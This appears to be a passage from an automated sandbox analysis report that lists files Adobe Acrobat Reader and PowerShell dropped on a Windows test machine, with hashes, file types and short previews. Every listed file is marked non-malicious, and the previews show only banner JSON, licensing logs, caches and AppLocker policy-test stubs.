Entropy (8bit):	5.285523369010654
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSCFTQn0UnZiQ0YvEeoAvJfYdPeUkwRe9:YvXKXq6TQnXclVGg8Ukee9
MD5:	941C5B502E9294EF592E9B71D5E12429
SHA1:	581584B0C958FE39DC1E14E5DDB9C3842F8FF11C
SHA-256:	6C27C890B2E7ECB87CB92D10ADF6528A26E1220580394939019A235BB0F607B9
SHA-512:	202DB3F63D5B9986AE13652736B1C0E6BC9B00A8CA3CF800A95367C371D62DC8FC1528E4AED55F5E31F42E35DEC0697C3318F0D05C7D84A56563518FF8C76370
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"875250eb-1591-40bd-90da-9eeb09e8ed95","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705320686,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.272421814102556
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSCFTQn0UnZiQ0YvEeoAvJf+dPeUkwRe9:YvXKXq6TQnXclVG28Ukee9
MD5:	E5FC420BEB045FBE8409CB30F6B27501
SHA1:	9A53E99D1FA143A8579B38C4B54F0E7FA15DB5CC
SHA-256:	75ADCB8A1D556320D0FBCF0E022ABDBE7BF632FE1C4CA5E0FDB9E24A95B5F553
SHA-512:	0F61750D0592BC675852BBEC1AAF7EFE9448A391F064A22ED57D8850BDDE68BC465C141697DAF41CDCE63C0AF631781FCAD4BADD92C7041E4D5BA4A4D2F5F7A4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"875250eb-1591-40bd-90da-9eeb09e8ed95","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705320686,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.269169962430149
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSCFTQn0UnZiQ0YvEeoAvJfbPtdPeUkwRe9:YvXKXq6TQnXclVGDV8Ukee9
MD5:	FA7CBC7ACEC5ABB9D9F4C00F4D170606
SHA1:	049DFC4B10A63C6F1CB607C4A02390986AAC5701
SHA-256:	4A416AD6F590C479870E84EF1C3929676D9F1B1D9ADBCD10C10672430B807D8E
SHA-512:	4603BF50394EDF9C12360F686AC91F6A3759F25572A4528980FAC3CA2620320145F188934D8B92BCD3C3BC14D276806238A522C6AE55F63B49E78DEAC51E8B34
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"875250eb-1591-40bd-90da-9eeb09e8ed95","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705320686,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2720365239410825
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSCFTQn0UnZiQ0YvEeoAvJf21rPeUkwRe9:YvXKXq6TQnXclVG+16Ukee9
MD5:	775B18EE6050FAF3D945E49AD92A5681
SHA1:	97D1417BE45C666D8CECA733A38506030F8FD9FF
SHA-256:	C138C3DBC40F992B29F55A9971D8EA300370A649C2B1069D16554A497BEC2321
SHA-512:	16AB1A49D315D9C2AC9E704A6E666D33C75097A67D9CD3EF3C397422D94C0F3A601E13D6645C2CBB1B4DD6102A256E6650FEC200522707FA7E1269080F419932
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"875250eb-1591-40bd-90da-9eeb09e8ed95","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705320686,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.658984962969211
Encrypted:	false
SSDEEP:	24:Yv6XtQMIamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSo:Yv91BgkDMUJUAh8cvMo
MD5:	D7CA2DBBB33F3259E2B61A5F1A86A94C
SHA1:	AD96FAE165FE47E76F64F25F87563C6234B230F0
SHA-256:	BD9DDE237436ED36BC638B038824FF17D0B0257D2EA53D35FE00F394A30D46D0
SHA-512:	8096561E8D642F0BCE381B580D64BA818BE2FE07259C72BA8A71101B1DF75177EF93A2F7171FBE31A0A3305CD6121E41337D278EEC6C2577C23FEA7669AB5CB2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"875250eb-1591-40bd-90da-9eeb09e8ed95","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705320686,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.249165074541641
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSCFTQn0UnZiQ0YvEeoAvJfshHHrPeUkwRe9:YvXKXq6TQnXclVGUUUkee9
MD5:	D45B6F7A804050801AE9723573F1B919
SHA1:	9C880755636A52F582E68B109F8B0A40761FF948
SHA-256:	65A758CEF969D1F08FE8FBC862FF0781F9FCE881C3BF5D6EE145E8FB08086C8B
SHA-512:	C8E630AE9EB59E9221D2AF93F3283C777ACAF445DDD4023466E58672F22A7370F0CE73BF82CDE959CD587622667AE30E3D2C138A4110F51AF25361C27C787730
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"875250eb-1591-40bd-90da-9eeb09e8ed95","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705320686,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.25617475606518
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSCFTQn0UnZiQ0YvEeoAvJTqgFCrPeUkwRe9:YvXKXq6TQnXclVGTq16Ukee9
MD5:	314E4E12A118492A5A5ACCF82655C903
SHA1:	00B0F5AD7114712B64B41102F32E11FD3BD00E9A
SHA-256:	EC4FC2E9987470666AD31EAE4AF7ACDB5677D72D5856B2A17F7D55BB273B752B
SHA-512:	888FC8DF4BC8DEE415C4C43521033BF3FBFB946A1475ABABCC0895532CB242124D38E8FDBDEE0EDC440AE6B2C9F5D2B928A287D3EEB286CBF0779B08001C6ACC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"875250eb-1591-40bd-90da-9eeb09e8ed95","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705320686,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.128884076343448
Encrypted:	false
SSDEEP:	24:YI/VapGay9NZAhczB50XWrGkbjJihj0SpVcCV27J2LSrC+WkB8vl05YH9tmCc8u3:YIVecz8XYZslA6CJ5hWkCe2H9QCQ
MD5:	67EB247004EBDBADEFF2E40E0F390015
SHA1:	C5B0566CF6A62F0AFBE74A397F6FF9F094528465
SHA-256:	4ADC516B071225A6009951AD97746BCED09B67C2F539A9D79BA95FD598E69289
SHA-512:	343E879ABFBF842F0E1F97B0CDA496E130C5F6B7B5447BC8EA6E066FDE34ED94C70213EE91E697721E5E8F149103D1184469947C06754933098706F7D616DD24
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"9762b1815d17e3d462cd5a3dd50af0a0","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736531260000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"7693c19f528d11b11b871e3ba117ead4","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736531260000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"e8da15e4202b43d0bbe94d4f9446fcea","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736531260000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"e7906038c5a526f0e4ff0dc3f541dd2b","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736531260000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"699d750189d0785076cbb95268450c5d","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736531260000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"f69eb4be24054c3c40094fdcf37d0605","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.146197218545423
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursURZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHn:TFl2GL7ms2Xc+XcGNFlRYIX2v3kn
MD5:	5FABA2CA8F39D16AA9B32FA589005288
SHA1:	84451ADA13CC14CBF20EC81E101373C97492B0F4
SHA-256:	FF6285344F898CDBF2DE2206E87180E1915229D51EBF0C100773692DEA908F69
SHA-512:	1FEB2FE656F323595D31AEC5542FE055DB9DB71016B176A6403F7929D87069918C6087ED3DF14BCEF8F530AD593EF7BBAEA8BECF74620ABB757A65DAA775D5D8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5514422723199957
Encrypted:	false
SSDEEP:	24:7+twUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxuqLxx/XYKQB:7MVXc+XcGNFlRYIX2vHqVl2GL7msu
MD5:	F2F46EF829AA35A7F7CBFA4A5E3F67E1
SHA1:	3C535CEBDC05FCE80FBCA67CD4BBF4BA6E52F0BC
SHA-256:	F93CF030DAAB7A5F5FD52AD1FAC7AAE7FEE862E8A52EABEF1C5968CDD50A3D63
SHA-512:	D5F6FC38065048992C56C4E7D062CCBED2DCCB494B153AD1203DB11C60B9A6D3A2AB1DAA922A0486BB23F2B7302EF1C0243637A594778FDAE8278507D95FC1D1
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgc9c5fePFNHWqBe1EgaF37S9LMcYyu:6a6TZ44ADEc9eePFNnBe1E7iK
MD5:	924F8864B5892D4BA16CBC7786291443
SHA1:	C3C3FC430D2B29ADC6CEA013978728A474DD1271
SHA-256:	E9BA17C2DF87927C3996620A3AD1DE840C17346A8B06418A37BB694319AAD47C
SHA-512:	AA5D403651F12BA60407F194419699F6E6672BB300C41814ADCC7EAF4E652BC5AC494B656AE2290E07A49216FFC95C169472BB455F31B5EAD39066AA463CB22F
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIf6b5c.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.501595078528367
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3tCH:Qw946cPbiOxDlbYnuRK+bD3IH
MD5:	0F77BDA8D83B0BB50860E9E42988E240
SHA1:	B9625377CDC2E748BC51719D8E0E6374383F8EB6
SHA-256:	E3CCEEEE8519AEDC4C7862243B85228EE20E88200FD21F0076BB4EF704A69912
SHA-512:	300A6C8855F48DE95F84DEFBC2261BA33A787FE8D65DB2FC9AAF74F07396F51BF616E9C512EB515FBD963CE7DCD8FDA00DA327DA561903399625A37D6188064A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.4.7.:.4.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kclsxfaf.qhh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lai0oao5.qi5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-47-36-093.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.386426766314744
Encrypted:	false
SSDEEP:	384:CgMENNwM2EvvOUbRdCbgvBDJxKRcuRRITgEAi6KR9H3Bf1qGUqyDjOj+bIiBhkcz:rZY
MD5:	948C04CF32CAC1E44891B4456991EEE0
SHA1:	991AF643DE9D770F3EF7E319C2D086D4DE4EBFFF
SHA-256:	3F46766E45A9EE0911621A470B4B7E7FAE815FF9B167CF50F9ED94A87E50AAFA
SHA-512:	FD882B299B7B8FE8D273855DB55F4A89665B43552BFF6D8E796CF7B042501398AF783C1E73587C3B6F4C06BDD50B69818BF53D6AB5143FC250CFC17A69C1655F
Malicious:	false
Preview:	SessionID=b9140798-8ca4-4973-9c21-8ccbb65d2bd8.1736531256139 Timestamp=2025-01-10T12:47:36:139-0500 ThreadID=7648 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=b9140798-8ca4-4973-9c21-8ccbb65d2bd8.1736531256139 Timestamp=2025-01-10T12:47:36:140-0500 ThreadID=7648 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=b9140798-8ca4-4973-9c21-8ccbb65d2bd8.1736531256139 Timestamp=2025-01-10T12:47:36:140-0500 ThreadID=7648 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=b9140798-8ca4-4973-9c21-8ccbb65d2bd8.1736531256139 Timestamp=2025-01-10T12:47:36:141-0500 ThreadID=7648 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=b9140798-8ca4-4973-9c21-8ccbb65d2bd8.1736531256139 Timestamp=2025-01-10T12:47:36:141-0500 ThreadID=7648 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.403919508844539
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbwYcb6IcwcbF:V3fOCIdJDempcr
MD5:	890E5F4AEBEEC8F65A5B623DB9BD5281
SHA1:	989C044677DEA01D47F80D0F7C6EA323E8232077
SHA-256:	E0BB5D127474BD2F9ED9C845E4EF6FA454705E2CEACDD9BD79C3C5EE86D27318
SHA-512:	AC27474B77489510E317D18DF89CCACF4F814BEB525482CFB257F1BFC02EF5888CDA708A4E7A95BBB5C24E6CCC0B868D08EA44C8B7D10D334E1CCC4094BB0D73
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\288fa123-100e-47cb-b5d8-121fcda9b166.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\432779ab-048b-4d4f-800b-b8d46ee001ce.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
